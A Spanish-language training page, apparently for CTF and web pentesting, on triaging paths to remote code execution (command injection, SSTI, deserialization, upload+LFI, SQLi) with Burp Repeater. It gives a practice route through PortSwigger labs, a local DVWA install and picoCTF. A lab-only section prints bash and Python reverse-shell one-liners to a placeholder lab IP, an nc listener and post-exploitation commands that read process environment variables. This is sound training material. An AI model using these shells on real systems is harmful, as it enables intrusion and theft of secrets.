Del input
al impacto
Clasifica el sink, conserva una petición reproducible y demuestra la primitive mínima. La shell llega después; a veces no llega, y reconocerlo también suma tiempo.
Triage de cinco rutas a RCE · flujo Proxy → HTTP history → Repeater · evidencia reproducible · shell únicamente en laboratorios autorizados · TTY estable · búsqueda disciplinada de la flag.
Anatomía: fuente → sink → primitive → impacto
RCE no es una categoría de entrada sino un resultado. Empieza por localizar dónde se interpreta el dato y qué identidad ejecuta esa interpretación. Conserva siempre una petición baseline y cambia una sola variable.
| Vector | Dataflow / señal | Sonda local o de lab | Evidencia mínima | Timebox |
|---|---|---|---|---|
| Command injection | parámetro → cadena → shell del SO; errores con metacaracteres, salida o latencia controlable | valor; id o una demora corta y repetible, ajustada al shell | delta baseline/sonda + salida de id o ≥2 mediciones de tiempo consistentes | 12 min |
| SSTI | input concatenado en la plantilla, no pasado como dato; la expresión se evalúa en servidor | {{7*7}}, ${7*7} o sintaxis mínima según contexto | resultado calculado + identificación sustentada del motor antes de buscar escape | 15 min |
| Deserialización | cookie/body opaco vuelve a objeto; firmas PHP/Java/.NET, tipos y longitudes significativos | decodifica, round-trip sin cambios y muta un atributo benigno manteniendo formato | estado server-side alterado; RCE solo si documentas magic method/gadget → sink | 20 min |
| Upload + LFI | subida almacena bytes; otra ruta permite incluir/interpretar el archivo | sube un marcador inocuo, recupera su ruta y prueba inclusión como texto | control de contenido + ruta conocida + ejecución separada; cada primitive por escrito | 18 min |
| SQLi → RCE | input altera SQL; la escalada depende del motor, privilegios, extensiones o escritura ejecutable | confirma SQLi y fingerprint de BD antes de probar capacidades | query controlada + identidad/privilegios + mecanismo concreto hacia ejecución | 20 min |
Command injection
Distingue contexto Unix/Windows, argumento vs. cadena interpretada por shell y salida visible vs. blind. Empieza con una primitive reversible: identidad, hostname o demora corta. Si el separador falla, no concluyas “no vulnerable” sin entender quoting y API de ejecución.
SSTI
Detecta primero, identifica después, explota al final. Una reflexión literal de {{7*7}} no es SSTI; 49 sí prueba evaluación, pero todavía no prueba acceso a objetos peligrosos ni RCE.
Deserialización insegura
Preserva tipos, longitudes y encoding. La primitive inicial puede ser manipulación de atributos; la escalada exige una cadena de métodos existente que alcance un sink. No generes payloads de gadgets a ciegas sin formato, librerías y runtime.
Upload + LFI
Trátalo como composición: escribir bytes, conocer su ruta, lograr que el servidor los incluya y confirmar que el intérprete los ejecuta. Un archivo descargable con extensión rara no basta.
SQLi que escala
Fingerprint de motor, usuario de BD, permisos y filesystem antes de buscar ejecución. La ruta puede ser una función peligrosa, extensión, procedimiento o escritura en un directorio servido; si esa capacidad no existe, captura la flag desde la BD y termina.
Evidencia mínima
Guarda request baseline, request mutada, respuesta/delta, hipótesis y conclusión. Un screenshot sin la petición cruda no es reproducible; una shell sin registrar el vector te deja sin write-up y sin forma de recuperarte.
Burp: Proxy → HTTP history → Repeater
Burp Community basta para este flujo manual. Intercept sirve para observar una transacción; HTTP history conserva el mapa; Repeater es el banco de pruebas. Intruder llega solo después de demostrar señal manual.
- Scope y baseline. Abre el navegador integrado contra el laboratorio autorizado. Intercepta una petición representativa, reenvíala y apaga Intercept para no ahogarte en tráfico.
- HTTP history. Filtra por host, método y parámetros. Selecciona la petición y conserva status, longitud, tiempo y un fragmento estable del body.
- Send to Repeater. Envía la petición interesante; duplica la pestaña baseline y nombra la copia con la hipótesis, por ejemplo
stock_cmd_sep. - Una variable por envío. Cambia solo un parámetro, header, cookie o byte del body. Registra el delta; restaura antes de la siguiente familia de sondas.
- Escala con criterio. Solo tras una señal consistente pasa de detección a primitive y de primitive a impacto. Intruder automatiza una matriz conocida, no sustituye el razonamiento.
baseline: método/ruta ____ · status ____ · bytes ____ · tiempo ____
cambio único: parámetro ____ · antes ____ · después ____
delta: status ____ · bytes ____ · tiempo ____ · body ____
conclusión: negada / señal / primitive / impacto · siguiente sonda ____
Referencia oficial: Proxy e HTTP history ↗ · flujo de Repeater ↗
Micro-reto: clasifica la evidencia, no el payload
Tres observaciones reales de request/response. Elige la hipótesis mejor sustentada. No hay flag: la victoria es clasificar sin sobrediagnosticar RCE.
POST /preview
name={{7*7}}
HTTP/1.1 200 OK
Hello 49
Cookie: session=Tzo0OiJVc2VyIjoxOntzOjU6InJvbGUiO3M6NDoidXNlciI7fQ==
Base64 → O:4:"User":1:{...}
Sin segunda petición ni cambio observable.
POST /avatar → 201 Created GET /uploads/note.txt → TEST_MARKER GET /view?file=../../uploads/note.txt → TEST_MARKER
Del bug a la shell — solo en tu laboratorio
Antes de abrir un listener, demuestra ejecución con id y confirma que el objetivo puede alcanzar la IP/puerto de tu máquina de laboratorio. Sustituye los marcadores; nunca pegues una dirección pública.
$ nc -lvnp <PORT>
# usa la IP privada de la interfaz NAT/host-only que el objetivo sí alcanza
bash -c 'bash -i >& /dev/tcp/<LAB_IP>/<PORT> 0>&1'
# Python 3, si el runtime existe
python3 -c 'import os,socket,pty;s=socket.socket();s.connect(("<LAB_IP>",<PORT>));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'
Estabiliza la TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'Ctrl-Zstty raw -echo; fgexport TERM=xterm-256colorstty rows 40 cols 120Si falta Python, prueba script -qc /bin/bash /dev/null. Documenta qué binarios existen; no instales nada dentro del reto.
Primero identidad y contexto
id; hostname; pwduname -als -laenv | sortps aux --forestNo ejecutes enumeradores enormes por reflejo. El nombre del servicio, cwd, variables y archivos del reto suelen bastar en jeopardy.
Búsqueda de flag con presupuesto
| Orden | Comando no destructivo | Criterio de corte |
|---|---|---|
| 1 · cwd | pwd; find . -maxdepth 3 -type f -ls 2>/dev/null | 2 min; lee nombres y permisos antes de abrir todo |
| 2 · rutas probables | find /opt /srv /var/www /home -type f -iname '*flag*' 2>/dev/null | 3 min; limita raíces, evita find / inicial |
| 3 · marcador | grep -RIl 'CTF{' /opt /srv /var/www /home 2>/dev/null | 3 min; corta si el filesystem es grande |
| 4 · proceso/config | tr '\0' '\n' < /proc/1/environ 2>/dev/null | solo si permisos y modelo del reto lo justifican |
Ruta mínima de práctica — en este orden
Los catálogos cambian. Por eso la ruta apunta a categorías oficiales y criterios, no a nombres de retos. Registra request, delta y conclusión en cada parada.
-
70 min · mínimo
1 · PortSwigger Web Security Academy
Desde All labs ↗, completa un laboratorio vigente de OS command injection y uno de server-side template injection. Trabaja con Proxy → HTTP history → Repeater y entrega dos pares baseline/sonda. La Academy es gratuita y sus objetivos están hechos para ser atacados.
salida: 2 labs resueltos + 2 evidencias Repeater + motor/contexto identificados -
45 min · mínimo
2 · DVWA local, aislado
Instala únicamente desde el repositorio oficial de DVWA ↗. Practica el flujo manual sobre los módulos pertinentes disponibles en tu versión; conserva una primitive de comando y una cadena de lectura/inclusión sin salir de tu entorno.
advertencia del proyectoDVWA es deliberadamente vulnerable. Ejecútalo dentro de una VM con red NAT (o aislamiento equivalente), enlazado solo a loopback/red privada. No lo subas a hosting, no abras puertos en el router y no lo expongas a Internet.salida: diagrama de red + URL privada + request reproducible + evidencia de impacto local -
35 min · mínimo
3 · picoCTF / picoGym
Entra por la guía oficial de picoCTF ↗ y abre picoGym, su espacio de práctica no competitivo. Filtra la categoría Web Exploitation y elige un reto vigente cuya descripción o artefactos apunten a inyección o ejecución; no uses una lista antigua de nombres.
salida: 1 flag válida + write-up de cinco líneas: señal, hipótesis, primitive, impacto, descarte
Si sobra tiempo · ampliar superficie
En Web Security Academy, añade un laboratorio vigente de insecure deserialization o file upload vulnerabilities. Repite la misma disciplina: baseline, cambio único, primitive e impacto. No pases a catálogos de pago en este bloque.